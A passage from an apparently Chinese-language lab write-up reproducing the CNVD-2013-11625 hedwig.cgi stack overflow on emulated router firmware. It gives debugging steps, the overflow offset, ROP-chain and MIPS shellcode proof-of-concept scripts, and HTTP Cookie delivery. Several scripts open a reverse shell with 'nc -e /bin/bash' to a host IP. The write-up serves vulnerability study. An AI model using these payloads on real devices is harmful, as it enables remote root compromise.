<code>-1</code>，因此需要走中间的 <code>if</code> 分支使 <code>v9 = 0</code>，同时也必须保证环境变量 <code>REQUEST_URI</code> 不为空：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B027.png" alt="CNVD-2013-11625复现27.png"></p><p>接下来就是确定 <code>uid</code> 溢出到栈上的返回地址所需要的字节数了，以及 libc 的基地址</p><p>为了使用 gdbserver 进行远程调试，首先交叉编译一个 gdbserver</p><blockquote><p>这一块如果不熟悉的话，详见本站的《<a href="40df1975.html">IoT固件仿真与gdbserver远程调试</a>》一文的《<a href="40df1975.html#IOT-%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95">IOT 远程调试</a>》部分 </p></blockquote><p>由于我本地是 Kali Linux 2024.1 自带 GDB v13.2，因此选择 GDB v13.2 的源码，编译出 <code>mipsel</code> 架构的 gdbserver：（我这里已经提前编译好了，就不再详细说明了）</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B029.png" alt="CNVD-2013-11625复现29.png"></p><p>将其上传到路由器文件系统的根目录下，并增加执行权限：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">scp</span> <span class="token parameter variable">-r</span> gdbserver root@192.168.2.2:~/squashfs-root<span class="token function">chmod</span> +x gdbserver<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B030.png" alt="CNVD-2013-11625复现30.png"></p><p>在路由器文件系统的根目录下，新建一个 <code>run.sh</code> 脚本：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token shebang important">#!/bin/bash</span><span class="token builtin class-name">export</span> <span class="token assign-left variable">CONTENT_LENGTH</span><span class="token operator">=</span><span class="token string">"11"</span><span class="token builtin class-name">export</span> <span class="token assign-left variable">CONTENT_TYPE</span><span class="token operator">=</span><span class="token string">"application/x-www-form-urlencoded"</span><span class="token builtin class-name">export</span> <span class="token assign-left variable">HTTP_COOKIE</span><span class="token operator">=</span><span class="token string">"uid=<span class="token variable"><span class="token variable">`</span><span class="token function">cat</span> payload<span class="token variable">`</span></span>"</span><span class="token builtin class-name">export</span> <span class="token assign-left variable">REQUEST_METHOD</span><span class="token operator">=</span><span class="token string">"POST"</span><span class="token builtin class-name">export</span> <span class="token assign-left variable">REQUEST_URI</span><span class="token operator">=</span><span class="token string">"2333"</span><span class="token builtin class-name">echo</span> <span class="token string">"winmt=pwner"</span> <span class="token operator">|</span> ./gdbserver <span class="token number">127.0</span>.0.1:6666 /htdocs/web/hedwig.cgi<span class="token comment"># echo "winmt=pwner" | /htdocs/web/hedwig.cgi</span><span class="token builtin class-name">unset</span> CONTENT_LENGTH<span class="token builtin class-name">unset</span> CONTENT_TYPE<span class="token builtin class-name">unset</span> HTTP_COOKIE<span class="token builtin class-name">unset</span> REQUEST_METHOD<span class="token builtin class-name">unset</span> REQUEST_URI<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>增加执行权限后运行 <code>run.sh</code>：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">chmod</span> +x run.sh./run.sh<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B031.png" alt="CNVD-2013-11625复现31.png"></p><p>然后宿主机通过 <code>mipsel-linux-gnu-gdb</code> 远程连接：（由于我用的 gdbserver 就是 GDB v13.2 的源码编译来的，因此直接使用 <code>gdb-multiarch</code> 远程连接也是一样的）</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">./mipsel-linux-gnu-gdb<span class="token punctuation">(</span>mipsel-linux-gnu-gdb<span class="token punctuation">)</span> target remote <span class="token number">192.168</span>.2.2:6666<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B032.png" alt="CNVD-2013-11625复现32.png"></p><p>连接成功：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B033.png" alt="CNVD-2013-11625复现33.png"></p><p>我们主要是获得 libc 基地址，由于 <code>cgibin</code> 程序没有开启 PIE：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B034.png" alt="CNVD-2013-11625复现34.png"></p><p>直接使用 <code>vmmap</code> 就可以获得基地址：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 下断点，让程序运行到 main() 函数</span><span class="token punctuation">(</span>mipsel-linux-gnu-gdb<span class="token punctuation">)</span> b main<span class="token punctuation">(</span>mipsel-linux-gnu-gdb<span class="token punctuation">)</span> c<span class="token punctuation">(</span>mipsel-linux-gnu-gdb<span class="token punctuation">)</span> vmmap<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B035.png" alt="CNVD-2013-11625复现35.png"></p><p>获得 libc 基地址为：<code>0x77f34000</code></p><p>接下来还需要找出栈溢出的长度，这里直接通过 <code>cyclic</code> 来尝试，首先生成 2000 个字符然后写入 <code>payload</code> 中：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">cyclic <span class="token number">2000</span> <span class="token operator">></span> payload<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>然后将 <code>paylaod</code> 文件上传到路由器文件系统的根目录</p><p>退出宿主机的 GDB 调试，重新运行 <code>run.sh</code>，通过 <code>cat payload</code> 将我们的 <code>payload</code> 的内容读到 <code>uid=</code> 后面，然后 GDB 重新连接调试程序：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B036.png" alt="CNVD-2013-11625复现36.png"></p><p>没有显示刚刚出现的 <code>&quot;cat: payload: No such file or directory&quot;</code> 就说明 <code>payload</code> 读取成功了</p><p>由于溢出发生在 <code>hedwigcgi_main()</code> 函数，我们直接把断点打在 <code>hedwigcgi_main()</code> 函数结束的地方，通过观察返回地址来确定栈溢出的长度：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B037.png" alt="CNVD-2013-11625复现37.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B038.png" alt="CNVD-2013-11625复现38.png"></p><p>可以看到 <code>hedwigcgi_main()</code> 函数结束后跳转的地址是 <code>0x646b6161</code>，通过 <code>cyclic -l</code> 获得偏移为 1009</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B039.png" alt="CNVD-2013-11625复现39.png"></p><blockquote><p><em>关于 MIPS 架构下的 ROP 构造我不是很熟悉。。。所以暂时不做过多解释，等我深入研究之后再做总结归纳吧</em></p><p>先参考一下 <a href="https://bbs.kanxue.com/user-home-949925.htm">winmt</a> 对 MIPS 的 ROP 构造这一块儿的讲解：<a href="https://bbs.kanxue.com/thread-272318.htm#msg_header_h2_2">[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com</a></p></blockquote><hr><h4 id="法一：向-QEMU-虚拟机上传-payload"><a href="#法一：向-QEMU-虚拟机上传-payload" class="headerlink" title="法一：向 QEMU 虚拟机上传 payload"></a>法一：向 QEMU 虚拟机上传 payload</h4><blockquote><p>这种方式我们直接将 payload 写入文件，然后上传到 QEMU 虚拟机，<strong>通过设置环境变量来读取 payload 作为 <code>uid</code>，从而触发漏洞反弹 shell</strong></p></blockquote><p>poc 如下：</p><ol><li>纯 ROP 链，即构造 <code>system(&quot;/bin/sh&quot;)</code> 来 getshell</li></ol><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>context<span class="token punctuation">(</span>os <span class="token operator">=</span> <span class="token string">'linux'</span><span class="token punctuation">,</span> arch <span class="token operator">=</span> <span class="token string">'mips'</span><span class="token punctuation">,</span> log_level <span class="token operator">=</span> <span class="token string">'debug'</span><span class="token punctuation">)</span> cmd <span class="token operator">=</span> <span class="token string">b'nc -e /bin/bash 192.168.2.1 8888'</span>   <span class="token comment"># 反弹 shell</span> libc_base <span class="token operator">=</span> <span class="token number">0x77f34000</span> payload <span class="token operator">=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">0x3cd</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x53200</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token comment"># s0  system_addr - 1</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x169C4</span><span class="token punctuation">)</span> <span class="token comment"># s1  addiu $s2, $sp, 0x18 (=> jalr $s0)</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token operator">*</span><span class="token number">7</span><span class="token punctuation">)</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x32A98</span><span class="token punctuation">)</span> <span class="token comment"># ra  addiu $s0, 1 (=> jalr $s1)</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">0x18</span>payload <span class="token operator">+=</span> cmd fd <span class="token operator">=</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">"payload"</span><span class="token punctuation">,</span> <span class="token string">"wb"</span><span class="token punctuation">)</span>fd<span class="token punctuation">.</span>write<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>fd<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><ol start="2"><li>通过 shellcode 来 getshell（由于 MIPS 架构是无法开启 NX 保护的，因此可以使用 <code>ret2shellcode</code>，但需要注意 <code>shellcode</code> 中不能存在 <code>b&#39;\x00&#39;</code> 等字符防止导致 <code>sprintf</code> 被截断）</li></ol><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>context<span class="token punctuation">(</span>os <span class="token operator">=</span> <span class="token string">'linux'</span><span class="token punctuation">,</span> arch <span class="token operator">=</span> <span class="token string">'mips'</span><span class="token punctuation">,</span> log_level <span class="token operator">=</span> <span class="token string">'debug'</span><span class="token punctuation">)</span> libc_base <span class="token operator">=</span> <span class="token number">0x77f34000</span> payload <span class="token operator">=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">0x3cd</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">4</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x436D0</span><span class="token punctuation">)</span> <span class="token comment"># s1  move $t9, $s3 (=> lw... => jalr $t9)</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">4</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x56BD0</span><span class="token punctuation">)</span> <span class="token comment"># s3  sleep</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token operator">*</span><span class="token number">5</span><span class="token punctuation">)</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x57E50</span><span class="token punctuation">)</span> <span class="token comment"># ra  li $a0, 1 (=> jalr $s1)</span> payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">0x18</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token operator">*</span><span class="token number">4</span><span class="token punctuation">)</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x37E6C</span><span class="token punctuation">)</span> <span class="token comment"># s4  move  $t9, $a1 (=> jalr $t9)</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x3B974</span><span class="token punctuation">)</span> <span class="token comment"># ra  addiu $a1, $sp, 0x18 (=> jalr $s4)</span> shellcode <span class="token operator">=</span> asm<span class="token punctuation">(</span><span class="token triple-quoted-string string">'''    slti $a0, $zero, 0xFFFF    li $v0, 4006    syscall 0x42424     slti $a0, $zero, 0x1111    li $v0, 4006    syscall 0x42424     li $t4, 0xFFFFFFFD    not $a0, $t4    li $v0, 4006    syscall 0x42424     li $t4, 0xFFFFFFFD    not $a0, $t4    not $a1, $t4    slti $a2, $zero, 0xFFFF    li $v0, 4183    syscall 0x42424     andi $a0, $v0, 0xFFFF    li $v0, 4041    syscall 0x42424    li $v0, 4041    syscall 0x42424     lui $a1, 0xB821 # Port: 8888    ori $a1, 0xFF01    addi $a1, $a1, 0x0101    sw $a1, -8($sp)     li $a1, 0x0102A8C0 # IP: 192.168.2.1    sw $a1, -4($sp)    addi $a1, $sp, -8     li $t4, 0xFFFFFFEF    not $a2, $t4    li $v0, 4170    syscall 0x42424     lui $t0, 0x6962    ori $t0, $t0,0x2f2f    sw $t0, -20($sp)     lui $t0, 0x6873    ori $t0, 0x2f6e    sw $t0, -16($sp)     slti $a3, $zero, 0xFFFF    sw $a3, -12($sp)    sw $a3, -4($sp)     addi $a0, $sp, -20    addi $t0, $sp, -20    sw $t0, -8($sp)    addi $a1, $sp, -8     addiu $sp, $sp, -20     slti $a2, $zero, 0xFFFF    li $v0, 4011    syscall 0x42424'''</span><span class="token punctuation">)</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">0x18</span>payload <span class="token operator">+=</span> shellcode fd <span class="token operator">=</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">"payload"</span><span class="token punctuation">,</span> <span class="token string">"wb"</span><span class="token punctuation">)</span>fd<span class="token punctuation">.</span>write<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>fd<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>这两个 poc 都设置了反弹 shell，反弹的 IP 地址为宿主机 192.168.2.1，端口号为 8888</p><p>为了接收反弹 shell，首先<strong>在宿主机开启一个监听</strong>：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">nc</span> <span class="token parameter variable">-lvnp</span> <span class="token number">8888</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B042.png" alt="CNVD-2013-11625复现42.png"></p><p>从上面两个 poc 脚本之中选择一个，在宿主机上写入 <code>poc.py</code>，然后执行 <code>poc.py</code> 生成 payload</p><p>我这里以第一个 poc 为例：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B040.png" alt="CNVD-2013-11625复现40.png"></p><p>将这个新生成的 payload 文件上传到 QEMU 虚拟机的路由器文件系统根目录下，替换掉前面用来测试溢出的 payload 文件</p><p>然后修改一下 <code>run.sh</code> 中的启动命令，因为我们现在不需要 gdbserver 调试了，直接启动 <code>hedwig.cgi</code> 即可：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token shebang important">#!/bin/bash</span><span class="token builtin class-name">export</span> <span class="token assign-left variable">CONTENT_LENGTH</span><span class="token operator">=</span><span class="token string">"11"</span><span class="token builtin class-name">export</span> <span class="token assign-left variable">CONTENT_TYPE</span><span class="token operator">=</span><span class="token string">"application/x-www-form-urlencoded"</span><span class="token builtin class-name">export</span> <span class="token assign-left variable">HTTP_COOKIE</span><span class="token operator">=</span><span class="token string">"uid=<span class="token variable"><span class="token variable">`</span><span class="token function">cat</span> payload<span class="token variable">`</span></span>"</span><span class="token builtin class-name">export</span> <span class="token assign-left variable">REQUEST_METHOD</span><span class="token operator">=</span><span class="token string">"POST"</span><span class="token builtin class-name">export</span> <span class="token assign-left variable">REQUEST_URI</span><span class="token operator">=</span><span class="token string">"2333"</span><span class="token comment"># echo "winmt=pwner" | ./gdbserver 127.0.0.1:6666 /htdocs/web/hedwig.cgi</span><span class="token builtin class-name">echo</span> <span class="token string">"winmt=pwner"</span> <span class="token operator">|</span> /htdocs/web/hedwig.cgi<span class="token builtin class-name">unset</span> CONTENT_LENGTH<span class="token builtin class-name">unset</span> CONTENT_TYPE<span class="token builtin class-name">unset</span> HTTP_COOKIE<span class="token builtin class-name">unset</span> REQUEST_METHOD<span class="token builtin class-name">unset</span> REQUEST_URI<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B041.png" alt="CNVD-2013-11625复现41.png"></p><p>在 QEMU 虚拟机中运行 <code>run.sh</code>，然后宿主机上会显示已连接，并且可以正常使用 shell 命令查看路由器系统中的内容：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B043.png" alt="CNVD-2013-11625复现43.png"></p><p>而且我们是 root 权限用户，可以任意向路由器系统写入文件：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B044.png" alt="CNVD-2013-11625复现44.png"></p><p>到此为止，漏洞复现成功！</p><hr><h4 id="法二：向-httpd-服务发送-HTTP-报文"><a href="#法二：向-httpd-服务发送-HTTP-报文" class="headerlink" title="法二：向 httpd 服务发送 HTTP 报文"></a>法二：向 httpd 服务发送 HTTP 报文</h4><blockquote><p><strong>这种方式就需要用到前面开启的 HTTP 服务了</strong>，我们直接以 HTTP 报文的形式发送 payload</p></blockquote><p>我们前面在 <code>http_conf</code> 中配置了如下内容来启动 <code>httpd</code> 服务：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">Server <span class="token punctuation">&#123;</span>    ServerName <span class="token string">"Linux, HTTP/1.1, "</span>     <span class="token comment"># 服务器的名称和协议</span>    ServerId <span class="token string">"1234"</span>                    <span class="token comment"># 服务器的标识符</span>    Family inet                        <span class="token comment"># 使用的协议族，这里是 IPv4</span>    Interface eth0                     <span class="token comment"># 绑定的网络接口，这里是网卡 eth0</span>    Address <span class="token number">192.168</span>.2.2                <span class="token comment"># qemu 的 ip 地址</span>    Port <span class="token string">"4321"</span>                        <span class="token comment"># 对应 web 访问端口，服务器监听端口</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>于是直接向 192.168.2.2:4321 发送 HTTP 报文</p><p>poc 如下：</p><ol><li>纯 ROP 链，即构造 <code>system(&quot;/bin/sh&quot;)</code> 来 getshell</li></ol><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token keyword">import</span> requestscontext<span class="token punctuation">(</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">,</span> arch<span class="token operator">=</span><span class="token string">'mips'</span><span class="token punctuation">,</span> log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">)</span>cmd <span class="token operator">=</span> <span class="token string">b'nc -e /bin/bash 192.168.2.1 8888'</span>   <span class="token comment"># 反弹 shell</span>libc_base <span class="token operator">=</span> <span class="token number">0x77f34000</span><span class="token comment"># 创建 payload</span>payload <span class="token operator">=</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">0x3cd</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x53200</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span>  <span class="token comment"># s0  system_addr - 1</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x169C4</span><span class="token punctuation">)</span>      <span class="token comment"># s1  addiu $s2, $sp, 0x18 (=> jalr $s0)</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token punctuation">(</span><span class="token number">4</span> <span class="token operator">*</span> <span class="token number">7</span><span class="token punctuation">)</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x32A98</span><span class="token punctuation">)</span>      <span class="token comment"># ra  addiu $s0, 1 (=> jalr $s1)</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">0x18</span>payload <span class="token operator">+=</span> cmd<span class="token comment"># 定义目标 URL 和数据</span>url <span class="token operator">=</span> <span class="token string">"http://192.168.2.2:4321/hedwig.cgi"</span>data <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token string">"winmt"</span><span class="token punctuation">:</span> <span class="token string">"pwner"</span><span class="token punctuation">&#125;</span><span class="token comment"># 定义请求头</span>headers <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">"Cookie"</span><span class="token punctuation">:</span> <span class="token string">b"uid="</span> <span class="token operator">+</span> payload<span class="token punctuation">,</span>    <span class="token string">"Content-Type"</span><span class="token punctuation">:</span> <span class="token string">"application/x-www-form-urlencoded"</span><span class="token punctuation">,</span>    <span class="token string">"Content-Length"</span><span class="token punctuation">:</span> <span class="token string">"11"</span><span class="token punctuation">&#125;</span><span class="token comment"># 发送 POST 请求</span>res <span class="token operator">=</span> requests<span class="token punctuation">.</span>post<span class="token punctuation">(</span>url<span class="token operator">=</span>url<span class="token punctuation">,</span> headers<span class="token operator">=</span>headers<span class="token punctuation">,</span> data<span class="token operator">=</span>data<span class="token punctuation">)</span><span class="token comment"># 打印响应</span><span class="token keyword">print</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><ol start="2"><li>通过 shellcode 来 getshell（由于 MIPS 架构是无法开启 NX 保护的，因此可以使用 <code>ret2shellcode</code>，但需要注意 <code>shellcode</code> 中不能存在 <code>\x00</code> 等字符防止导致 <code>sprintf</code> 被截断）</li></ol><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token keyword">import</span> requestscontext<span class="token punctuation">(</span>os <span class="token operator">=</span> <span class="token string">'linux'</span><span class="token punctuation">,</span> arch <span class="token operator">=</span> <span class="token string">'mips'</span><span class="token punctuation">,</span> log_level <span class="token operator">=</span> <span class="token string">'debug'</span><span class="token punctuation">)</span> libc_base <span class="token operator">=</span> <span class="token number">0x77f34000</span> payload <span class="token operator">=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">0x3cd</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">4</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x436D0</span><span class="token punctuation">)</span> <span class="token comment"># s1  move $t9, $s3 (=> lw... => jalr $t9)</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">4</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x56BD0</span><span class="token punctuation">)</span> <span class="token comment"># s3  sleep</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token operator">*</span><span class="token number">5</span><span class="token punctuation">)</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x57E50</span><span class="token punctuation">)</span> <span class="token comment"># ra  li $a0, 1 (=> jalr $s1)</span> payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">0x18</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token operator">*</span><span class="token number">4</span><span class="token punctuation">)</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x37E6C</span><span class="token punctuation">)</span> <span class="token comment"># s4  move  $t9, $a1 (=> jalr $t9)</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x3B974</span><span class="token punctuation">)</span> <span class="token comment"># ra  addiu $a1, $sp, 0x18 (=> jalr $s4)</span> shellcode <span class="token operator">=</span> asm<span class="token punctuation">(</span><span class="token triple-quoted-string string">'''    slti $a0, $zero, 0xFFFF    li $v0, 4006    syscall 0x42424     slti $a0, $zero, 0x1111    li $v0, 4006    syscall 0x42424     li $t4, 0xFFFFFFFD    not $a0, $t4    li $v0, 4006    syscall 0x42424     li $t4, 0xFFFFFFFD    not $a0, $t4    not $a1, $t4    slti $a2, $zero, 0xFFFF    li $v0, 4183    syscall 0x42424     andi $a0, $v0, 0xFFFF    li $v0, 4041    syscall 0x42424    li $v0, 4041    syscall 0x42424     lui $a1, 0xB821 # Port: 8888    ori $a1, 0xFF01    addi $a1, $a1, 0x0101    sw $a1, -8($sp)     li $a1, 0x0102A8C0 # IP: 192.168.2.1    sw $a1, -4($sp)    addi $a1, $sp, -8     li $t4, 0xFFFFFFEF    not $a2, $t4    li $v0, 4170    syscall 0x42424     lui $t0, 0x6962    ori $t0, $t0,0x2f2f    sw $t0, -20($sp)     lui $t0, 0x6873    ori $t0, 0x2f6e    sw $t0, -16($sp)     slti $a3, $zero, 0xFFFF    sw $a3, -12($sp)    sw $a3, -4($sp)     addi $a0, $sp, -20    addi $t0, $sp, -20    sw $t0, -8($sp)    addi $a1, $sp, -8     addiu $sp, $sp, -20     slti $a2, $zero, 0xFFFF    li $v0, 4011    syscall 0x42424'''</span><span class="token punctuation">)</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">0x18</span>payload <span class="token operator">+=</span> shellcode<span class="token comment"># 定义目标 URL 和数据</span>url <span class="token operator">=</span> <span class="token string">"http://192.168.2.2:4321/hedwig.cgi"</span>data <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token string">"winmt"</span> <span class="token punctuation">:</span> <span class="token string">"pwner"</span><span class="token punctuation">&#125;</span><span class="token comment"># 定义请求头</span>headers <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">"Cookie"</span>        <span class="token punctuation">:</span> <span class="token string">b"uid="</span> <span class="token operator">+</span> payload<span class="token punctuation">,</span>    <span class="token string">"Content-Type"</span>  <span class="token punctuation">:</span> <span class="token string">"application/x-www-form-urlencoded"</span><span class="token punctuation">,</span>    <span class="token string">"Content-Length"</span><span class="token punctuation">:</span> <span class="token string">"11"</span><span class="token punctuation">&#125;</span><span class="token comment"># 发送 POST 请求</span>res <span class="token operator">=</span> requests<span class="token punctuation">.</span>post<span class="token punctuation">(</span>url <span class="token operator">=</span> url<span class="token punctuation">,</span> headers <span class="token operator">=</span> headers<span class="token punctuation">,</span> data <span class="token operator">=</span> data<span class="token punctuation">)</span><span class="token comment"># 打印响应</span><span class="token keyword">print</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span><span aria-hidden="true" 